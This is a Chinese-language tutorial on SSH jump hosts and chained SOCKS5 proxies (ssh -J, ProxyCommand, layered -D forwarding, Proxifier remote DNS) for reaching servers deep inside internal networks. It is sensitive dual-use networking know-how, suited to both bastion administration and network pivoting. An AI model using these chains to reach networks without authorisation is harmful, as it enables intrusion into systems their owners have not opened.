1 2 3 ssh -J user@10.66.66.16 user@172.16.1.10 本地 ──────► VPS (10.66.66.16) ──────► 跳板机 (172.16.1.10) SSH连接1 转发 SSH连接2
示例 — 多跳:
1 2 ssh -J user1@10.66.66.16,user2@172.16.1.10 user3@192.168.1.100 本地 ──► VPS ──► 跳板机 ──► 深层内网
旧版 SSH 用 ProxyCommand 实现等价功能:
1 ssh -o ProxyCommand="ssh -W %h:%p user@10.66.66.16" user@172.16.1.10
适用场景: 通过堡垒机连接内网服务器,多级跳板访问深层目标。
代理部署案例 将动态转发和代理跳转组合,构建完整的二层 socks5 代理链:
方法一:-J + -D
1 2 3 4 5 6 7 8 9 ssh -D 1080 -J user@10.66.66.16 user@172.16.1.10 本地 VPS 跳板机 ┌──────┐ ┌──────────┐ ┌──────────┐ │:1080 │──►│ 跳板转发 │────►│ 出口 │ │SOCKS5│ │ │ │ 可达内网 │ └──────┘ └──────────┘ └──────────┘ 一条命令搞定,proxychains 只需: socks5 127.0.0.1 1080
方法二:两条 -D 串联
1 2 3 4 5 6 7 8 9 10 11 12 13 # 终端1:第一层,SSH到VPS,本地开1080 ssh -D 1080 user@10.66.66.16 # 终端2:第二层,SSH到跳板机,连接本身走第一层代理,本地开1081 ssh -D 1081 -o ProxyCommand="nc -X 5 -x 127.0.0.1:1080 %h %p" user@172.16.1.10 本地 VPS 跳板机 ┌──────┐ ┌──────────┐ ┌──────────┐ │:1080 │──►│ 出口 │ │ │ │第一层 │ │ 172网段 │ │ │ ├──────┤ │ │ │ │ │:1081 │──►│──────────┼────►│ 出口 │ │第二层 │ │ 转发 │ │ 深层内网 │ └──────┘ └──────────┘ └──────────┘
Proxifier工具坑点记录 在使用过程,会遇到Proxifier代理流量无法从本地转发的情况,测试发现是代理未能正确解析dns需要在Proxifier 中启用远程 DNS 解析 ,让域名交给 代理远端去解析。
具体配置操作如下:
Profile → Proxy Servers → 选中 127.0.0.1:2080 → Edit
协议类型确保是 SOCKS Version 5
勾选 “Resolve hostnames through proxy”
这一步是关键——勾选后 Proxifier 会把域名(而非已解析的 IP)发送给 SOCKS5 代理,等价于 curl 的 socks5h 模式。